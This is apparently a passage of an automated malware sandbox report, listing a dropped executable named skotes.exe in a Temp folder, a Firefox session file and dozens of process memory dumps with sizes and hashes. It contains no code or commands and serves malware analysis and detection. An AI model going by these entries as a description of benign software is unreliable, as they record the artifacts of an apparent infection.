                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bs4a8d8y.default-release\sessionstore-backups\recovery.jsonlz4
                                                              Filesize

                                                              4KB

                                                              MD5

                                                              b76d362510512c0e334a33704b2f1a98

                                                              SHA1

                                                              bfb3f73c5b0b64fad6263c63f13d72ba1fdae1cc

                                                              SHA256

                                                              fd8877d3f612f9b24370fd63b397b8d224d78bffbd7a649c0ed8eb604619a60b

                                                              SHA512

                                                              df27d569be036d484afafb84926f28a304bb3a41dda1304fbd94bce6c60d8fc9368ec52910e0f2ca349ef1a24ad1c851cd8613e0ddf2ef3f571c9ad024062124

                                                              Download Submit

                                                            • \Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                              Filesize

                                                              2.1MB

                                                              MD5

                                                              ffa05200d7a741017eb476eef981b041

                                                              SHA1

                                                              2272ca724539b2e2bef16f3017c1e1e3db9e9485

                                                              SHA256

                                                              2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001

                                                              SHA512

                                                              55be906ff0385337b94ea090d1ccb3c4fd0e7d813adca5d6eccd2cfc40c1cbcf3f68a981cf0f97e457737a0b1b57745870e8ded6e58a6834556cd0bfcb8531a9

                                                              Download Submit

                                                            • memory/1028-187-0x00000000009C0000-0x0000000000A70000-memory.dmp

                                                              Filesize

                                                              704KB

                                                              Download

                                                            • memory/1104-230-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-228-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-421-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-584-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-363-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-550-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-247-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-382-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-226-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-236-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-241-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-240-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

                                                              Filesize

                                                              4KB

                                                              Download

                                                            • memory/1104-238-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-234-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-402-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-232-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1104-585-0x0000000000400000-0x0000000000422000-memory.dmp

                                                              Filesize

                                                              136KB

                                                              Download

                                                            • memory/1204-85-0x0000000000940000-0x0000000000DD6000-memory.dmp

                                                              Filesize

                                                              4.6MB

                                                              Download

                                                            • memory/1204-87-0x0000000000940000-0x0000000000DD6000-memory.dmp

                                                              Filesize

                                                              4.6MB

                                                              Download

                                                            • memory/1624-171-0x0000000000810000-0x0000000000EAB000-memory.dmp

                                                              Filesize

                                                              6.6MB

                                                              Download

                                                            • memory/1624-172-0x0000000000810000-0x0000000000EAB000-memory.dmp

                                                              Filesize

                                                              6.6MB

                                                              Download

                                                            • memory/1708-146-0x00000000000F0000-0x000000000014F000-memory.dmp

                                                              Filesize

                                                              380KB

                                                              Download

                                                            • memory/1716-605-0x0000000000210000-0x000000000089F000-memory.dmp

                                                              Filesize

                                                              6.6MB

                                                              Download

                                                            • memory/1716-581-0x0000000000210000-0x000000000089F000-memory.dmp

                                                              Filesize

                                                              6.6MB

                                                              Download

                                                            • memory/1732-983-0x0000000000230000-0x00000000002E0000-memory.dmp

                                                              Filesize

                                                              704KB

                                                              Download

                                                            • memory/2016-45-0x0000000000DB0000-0x0000000001240000-memory.dmp

                                                              Filesize

                                                              4.6MB

                                                              Download

                                                            • memory/2016-41-0x0000000000DB0000-0x0000000001240000-memory.dmp

                                                              Filesize

                                                              4.6MB

                                                              Download

                                                            • memory/2052-106-0x00000000000E0000-0x000000000013A000-memory.dmp

                                                              Filesize

                                                              360KB

                                                              Download

                                                            • memory/2136-125-0x0000000000400000-0x000000000045D000-memory.dmp

                                                              Filesize

                                                              372KB

                                                              Download

                                                            • memory/2136-114-0x0000000000400000-0x000000000045D000-memory.dmp

                                                              Filesize

                                                              372KB

                                                              Download

                                                            • memory/2136-116-0x0000000000400000-0x000000000045D000-memory.dmp

                                                              Filesize

                                                              372KB

                                                              Download

                                                            • memory/2136-118-0x0000000000400000-0x000000000045D000-memory.dmp

                                                              Filesize

                                                              372KB

                                                              Download

                                                            • memory/2136-120-0x0000000000400000-0x000000000045D000-memory.dmp

                                                              Filesize

                                                              372KB

                                                              Download

                                                            • memory/2136-122-0x0000000000400000-0x000000000045D000-memory.dmp

                                                              Filesize

                                                              372KB

                                                              Download

                                                            • memory/2136-124-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

                                                              Filesize

                                                              4KB

                                                              Download

                                                            • memory/2136-127-0x0000000000400000-0x000000000045D000-memory.dmp

                                                              Filesize

                                                              372KB

                                                              Download

                                                            • memory/2188-1325-0x0000000001210000-0x000000000126C000-memory.dmp

                                                              Filesize

                                                              368KB

                                                              Download

                                                            • memory/2200-67-0x00000000002D0000-0x0000000000783000-memory.dmp

                                                              Filesize

                                                              4.7MB

                                                              Download

                                                            • memory/2200-69-0x00000000002D0000-0x0000000000783000-memory.dmp

                                                              Filesize

                                                              4.7MB

                                                              Download

                                                            • memory/2200-223-0x0000000000FB0000-0x0000000000FFC000-memory.dmp

                                                              Filesize

                                                              304KB

                                                              Download

                                                            • memory/2276-18-0x0000000001090000-0x0000000001568000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2276-19-0x0000000006830000-0x0000000006D08000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2276-21-0x0000000001091000-0x00000000010F9000-memory.dmp

                                                              Filesize

                                                              416KB

                                                              Download

                                                            • memory/2276-16-0x0000000006830000-0x0000000006D08000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2276-0-0x0000000001090000-0x0000000001568000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2276-5-0x0000000001090000-0x0000000001568000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2276-3-0x0000000001090000-0x0000000001568000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2276-2-0x0000000001091000-0x00000000010F9000-memory.dmp

                                                              Filesize

                                                              416KB

                                                              Download

                                                            • memory/2276-1-0x0000000077370000-0x0000000077372000-memory.dmp

                                                              Filesize

                                                              8KB

                                                              Download

                                                            • memory/2308-190-0x0000000000400000-0x000000000045F000-memory.dmp

                                                              Filesize

                                                              380KB

                                                              Download

                                                            • memory/2308-196-0x0000000000400000-0x000000000045F000-memory.dmp

                                                              Filesize

                                                              380KB

                                                              Download

                                                            • memory/2308-203-0x0000000000400000-0x000000000045F000-memory.dmp

                                                              Filesize

                                                              380KB

                                                              Download

                                                            • memory/2308-192-0x0000000000400000-0x000000000045F000-memory.dmp

                                                              Filesize

                                                              380KB

                                                              Download

                                                            • memory/2308-194-0x0000000000400000-0x000000000045F000-memory.dmp

                                                              Filesize

                                                              380KB

                                                              Download

                                                            • memory/2308-198-0x0000000000400000-0x000000000045F000-memory.dmp

                                                              Filesize

                                                              380KB

                                                              Download

                                                            • memory/2308-200-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

                                                              Filesize

                                                              4KB

                                                              Download

                                                            • memory/2308-201-0x0000000000400000-0x000000000045F000-memory.dmp

                                                              Filesize

                                                              380KB

                                                              Download

                                                            • memory/2592-636-0x0000000006630000-0x0000000006ADC000-memory.dmp

                                                              Filesize

                                                              4.7MB

                                                              Download

                                                            • memory/2804-519-0x0000000006430000-0x000000000688A000-memory.dmp

                                                              Filesize

                                                              4.4MB

                                                              Download

                                                            • memory/2804-518-0x0000000006430000-0x000000000688A000-memory.dmp

                                                              Filesize

                                                              4.4MB

                                                              Download

                                                            • memory/2872-720-0x00000000013B0000-0x000000000180A000-memory.dmp

                                                              Filesize

                                                              4.4MB

                                                              Download

                                                            • memory/2872-783-0x00000000013B0000-0x000000000180A000-memory.dmp

                                                              Filesize

                                                              4.4MB

                                                              Download

                                                            • memory/2872-520-0x00000000013B0000-0x000000000180A000-memory.dmp

                                                              Filesize

                                                              4.4MB

                                                              Download

                                                            • memory/2872-522-0x00000000013B0000-0x000000000180A000-memory.dmp

                                                              Filesize

                                                              4.4MB

                                                              Download

                                                            • memory/2872-521-0x00000000013B0000-0x000000000180A000-memory.dmp

                                                              Filesize

                                                              4.4MB

                                                              Download

                                                            • memory/2976-70-0x0000000006A60000-0x0000000006EF0000-memory.dmp

                                                              Filesize

                                                              4.6MB

                                                              Download

                                                            • memory/2976-24-0x0000000000AD0000-0x0000000000FA8000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2976-63-0x0000000006A60000-0x0000000006F13000-memory.dmp

                                                              Filesize

                                                              4.7MB

                                                              Download

                                                            • memory/2976-64-0x0000000006A60000-0x0000000006F13000-memory.dmp

                                                              Filesize

                                                              4.7MB

                                                              Download

                                                            • memory/2976-65-0x0000000000AD0000-0x0000000000FA8000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2976-170-0x0000000006A60000-0x00000000070FB000-memory.dmp

                                                              Filesize

                                                              6.6MB

                                                              Download

                                                            • memory/2976-84-0x0000000006200000-0x0000000006696000-memory.dmp

                                                              Filesize

                                                              4.6MB

                                                              Download

                                                            • memory/2976-62-0x0000000000AD0000-0x0000000000FA8000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2976-46-0x0000000000AD1000-0x0000000000B39000-memory.dmp

                                                              Filesize

                                                              416KB

                                                              Download

                                                            • memory/2976-44-0x0000000000AD0000-0x0000000000FA8000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2976-42-0x0000000000AD0000-0x0000000000FA8000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2976-40-0x0000000006A60000-0x0000000006EF0000-memory.dmp

                                                              Filesize

                                                              4.6MB

                                                              Download

                                                            • memory/2976-26-0x0000000000AD0000-0x0000000000FA8000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2976-803-0x00000000075F0000-0x0000000007C7F000-memory.dmp

                                                              Filesize

                                                              6.6MB

                                                              Download

                                                            • memory/2976-23-0x0000000000AD1000-0x0000000000B39000-memory.dmp

                                                              Filesize

                                                              416KB

                                                              Download

                                                            • memory/2976-88-0x0000000006A60000-0x0000000006F13000-memory.dmp

                                                              Filesize

                                                              4.7MB

                                                              Download

                                                            • memory/2976-107-0x0000000006A60000-0x0000000006F13000-memory.dmp

                                                              Filesize

                                                              4.7MB

                                                              Download

                                                            • memory/2976-335-0x0000000006A60000-0x00000000070FB000-memory.dmp

                                                              Filesize

                                                              6.6MB

                                                              Download

                                                            • memory/2976-22-0x0000000000AD0000-0x0000000000FA8000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2976-132-0x0000000006200000-0x0000000006696000-memory.dmp

                                                              Filesize

                                                              4.6MB

                                                              Download

                                                            • memory/2976-156-0x0000000000AD0000-0x0000000000FA8000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2976-131-0x0000000000AD0000-0x0000000000FA8000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/2976-580-0x00000000075F0000-0x0000000007C7F000-memory.dmp

                                                              Filesize

                                                              6.6MB

                                                              Download

                                                            • memory/2976-401-0x0000000000AD0000-0x0000000000FA8000-memory.dmp

                                                              Filesize

                                                              4.8MB

                                                              Download

                                                            • memory/3200-1931-0x0000000000340000-0x000000000038C000-memory.dmp

                                                              Filesize

                                                              304KB

                                                              Download

                                                            • memory/3256-1858-0x0000000000CD0000-0x0000000000D2A000-memory.dmp

                                                              Filesize

                                                              360KB

                                                              Download

                                                            • memory/3876-1715-0x0000000000FE0000-0x000000000103C000-memory.dmp

                                                              Filesize

                                                              368KB

                                                              Download